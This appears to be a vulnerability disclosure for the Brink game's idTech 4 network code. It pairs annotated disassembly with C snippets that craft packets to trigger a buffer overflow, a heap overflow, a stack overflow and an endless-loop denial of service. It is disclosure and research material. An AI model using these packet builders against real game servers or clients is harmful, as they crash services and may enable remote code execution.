idTech 4 engine (Brink 1.0.23692.48133) multiple vulnerabilities


Proof-of-concept code
aluigi.org/poc/brink_1.zip


  0070BE10  /PUSH EBX
  0070BE11  |MOV EBX,DWORD PTR SS:[ESP+C]     ; our 32bit size
  0070BE15  |PUSH ESI
  0070BE16  |MOV ESI,ECX
  0070BE18  |MOV EAX,DWORD PTR DS:[ESI+C]
  0070BE1B  |PUSH EDI
  0070BE1C  |MOV EDI,DWORD PTR DS:[ESI+14]
  0070BE1F  |LEA ECX,DWORD PTR DS:[EDI+EBX]   ; integer overflow, EDI 0x1b
  0070BE22  |CMP ECX,EAX                      ; EAX is the packet size
  0070BE24  |MOV DWORD PTR DS:[ESI+18],0
  0070BE2B  |JLE SHORT brink.0070BE55         ; signed comparison
  ...
  0070BE55  |MOV EAX,DWORD PTR SS:[ESP+10]
  0070BE59  |TEST EAX,EAX
  0070BE5B  |JE SHORT brink.0070BE6D
  0070BE5D  |MOV ECX,DWORD PTR DS:[ESI+4]
  0070BE60  |PUSH EBX                         ; /n
  0070BE61  |ADD ECX,EDI                      ; |
  0070BE63  |PUSH ECX                         ; |src
  0070BE64  |PUSH EAX                         ; |dest
  0070BE65  |CALL <JMP.&MSVCR90.memcpy>       ; \memcpy


    // buffer-overflow caused by signed comparison

    b = 0;
    b = write_bits(-1, 16, buff, b);
    b = write_bstr("challenge", -1, 0, buff, b);
    b = write_bits(client_challenge, 16, buff, b);
    b = write_bits(1, 1, buff, b);
    b = write_bits(0x11111111, 32, buff, b);    // 64bit AuthPeer
    b = write_bits(0x11111111, 32, buff, b);
    b = write_bits(-1, 32, buff, b);            // <= BUG here
    b = BITPAD * 8;
    while(BITPAD < (BUFFSZ - 1)) {
        b = write_bits('a', 8, buff, b);
    }


  0070BE10  /PUSH EBX
  0070BE11  |MOV EBX,DWORD PTR SS:[ESP+C]     ; our 32bit size
  0070BE15  |PUSH ESI
  0070BE16  |MOV ESI,ECX
  0070BE18  |MOV EAX,DWORD PTR DS:[ESI+C]
  0070BE1B  |PUSH EDI
  0070BE1C  |MOV EDI,DWORD PTR DS:[ESI+14]
  0070BE1F  |LEA ECX,DWORD PTR DS:[EDI+EBX]
  0070BE22  |CMP ECX,EAX
  0070BE24  |MOV DWORD PTR DS:[ESI+18],0
  0070BE2B  |JLE SHORT brink.0070BE55
  0070BE2D  |MOV ECX,DWORD PTR SS:[ESP+10]
  0070BE31  |TEST ECX,ECX
  0070BE33  |JE SHORT brink.0070BE47
  0070BE35  |MOV EDX,DWORD PTR DS:[ESI+4]
  0070BE38  |SUB EAX,EDI
  0070BE3A  |PUSH EAX                         ; /n
  0070BE3B  |ADD EDX,EDI                      ; |
  0070BE3D  |PUSH EDX                         ; |src
  0070BE3E  |PUSH ECX                         ; |dest
  0070BE3F  |CALL <JMP.&MSVCR90.memcpy>       ; \memcpy


    // heap overflow

    b = 0;
    b = write_bits(-1, 16, buff, b);
    b = write_bstr("challenge", -1, 0, buff, b);
    b = write_bits(client_challenge, 16, buff, b);
    b = write_bits(1, 1, buff, b);
    b = write_bits(0x11111111, 32, buff, b);    // 64bit AuthPeer
    b = write_bits(0x11111111, 32, buff, b);
    b = write_bits(0x000fffff, 32, buff, b);    // <= BUG here
    b = BITPAD * 8;
    while(BITPAD < (BUFFSZ - 1)) {
        b = write_bits('a', 8, buff, b);
    }


  004CC8F0   PUSH 8
  004CC8F2   LEA EDX,DWORD PTR SS:[ESP+38]
  004CC8F6   PUSH EDX
  004CC8F7   MOV ECX,ESI
  004CC8F9   CALL brink.0070BE10
  ...
  0070BE10  /PUSH EBX
  0070BE11  |MOV EBX,DWORD PTR SS:[ESP+C]     ; our 32bit size
  0070BE15  |PUSH ESI
  0070BE16  |MOV ESI,ECX
  0070BE18  |MOV EAX,DWORD PTR DS:[ESI+C]
  0070BE1B  |PUSH EDI
  0070BE1C  |MOV EDI,DWORD PTR DS:[ESI+14]
  0070BE1F  |LEA ECX,DWORD PTR DS:[EDI+EBX]
  0070BE22  |CMP ECX,EAX
  0070BE24  |MOV DWORD PTR DS:[ESI+18],0
  0070BE2B  |JLE SHORT brink.0070BE55
  0070BE2D  |MOV ECX,DWORD PTR SS:[ESP+10]
  0070BE31  |TEST ECX,ECX
  0070BE33  |JE SHORT brink.0070BE47
  0070BE35  |MOV EDX,DWORD PTR DS:[ESI+4]
  0070BE38  |SUB EAX,EDI                      ; 0x28 - 0x29
  0070BE3A  |PUSH EAX                         ; /n
  0070BE3B  |ADD EDX,EDI                      ; |
  0070BE3D  |PUSH EDX                         ; |src
  0070BE3E  |PUSH ECX                         ; |dest
  0070BE3F  |CALL <JMP.&MSVCR90.memcpy>       ; \memcpy


    // stack overflow via small packet

    b = 0;
    b = write_bits(-1, 16, buff, b);
    b = write_bstr("connect", -1, 0, buff, b);
    b = write_bits(game_id, 32, buff, b);
    b = write_bits(0x11111111, 32, buff, b);
    b = write_bits(0x22222222, 16, buff, b);
    b = write_bits(0x33333333, 32, buff, b);
    b = write_bits(0x44444444, 32, buff, b);
    b = write_bstr("", 0x11, 0, buff, b);
    b = write_bits(0x66666666, 32, buff, b);
    b = write_bits(0x77777777, 32, buff, b);
    b = write_bstr("", 32, 1, buff, b);

        // fill the memory
        t = b;
        memset(buff, 'a', BUFFSZ);
        b = 0;
        b = write_bits(-1, 16, buff, b);
        b = write_bstr("getInfo", -1, 0, buff, b);
        write_bits(0, 16, buff, t);
        len = send_recv(sd, buff, BUFFSZ, NULL, 0, &peer, 1);


  0070BDB7  |PUSH 10                           ; /Arg1 = 00000010
  0070BDB9  |MOV DWORD PTR DS:[EDI+18],ESI     ; |
  0070BDBC  |CALL brink.0070B6C0               ; \readbits
  0070BDC1  |MOV EBX,DWORD PTR SS:[ESP+10]
  0070BDC5  |MOVZX EAX,AX
  0070BDC8  |CMP EAX,-1
  0070BDCB  |JE SHORT brink.0070BDF5
  0070BDCD  |PUSH EBP
  0070BDCE  |MOV EBP,DWORD PTR SS:[ESP+18]
  0070BDD2  |/TEST AX,AX                       ; endless cycle
  0070BDD5  ||JE SHORT brink.0070BDF4
  0070BDD7  ||LEA ECX,DWORD PTR SS:[EBP-1]
  0070BDDA  ||CMP ESI,ECX
  0070BDDC  ||JGE SHORT brink.0070BDE3
  0070BDDE  ||MOV WORD PTR DS:[EBX+ESI*2],AX
  0070BDE2  ||INC ESI
  0070BDE3  ||PUSH 10                          ; /Arg1 = 00000010
  0070BDE5  ||MOV ECX,EDI                      ; |
  0070BDE7  ||CALL brink.0070B6C0              ; \readbits
  0070BDEC  ||MOVZX EAX,AX                     ; that's the cause
  0070BDEF  ||CMP EAX,-1
  0070BDF2  |\JNZ SHORT brink.0070BDD2


    // endless loop in the reading of unicode strings

    b = 0;
    b = write_bits(-1, 16, buff, b);
    b = write_bstr("connect", -1, 0, buff, b);
    b = write_bits(game_id, 32, buff, b);
    b = write_bits(0x11111111, 32, buff, b);
    b = write_bits(0x22222222, 16, buff, b);
    b = write_bits(0x33333333, 32, buff, b);
    b = write_bits(0x44444444, 32, buff, b);
    b = write_bstr("", 0x11, 0, buff, b);
    b = write_bits(0x66666666, 32, buff, b);
    b = write_bits(0x77777777, 32, buff, b);
    // truncated packet, so readbits will return -1 forever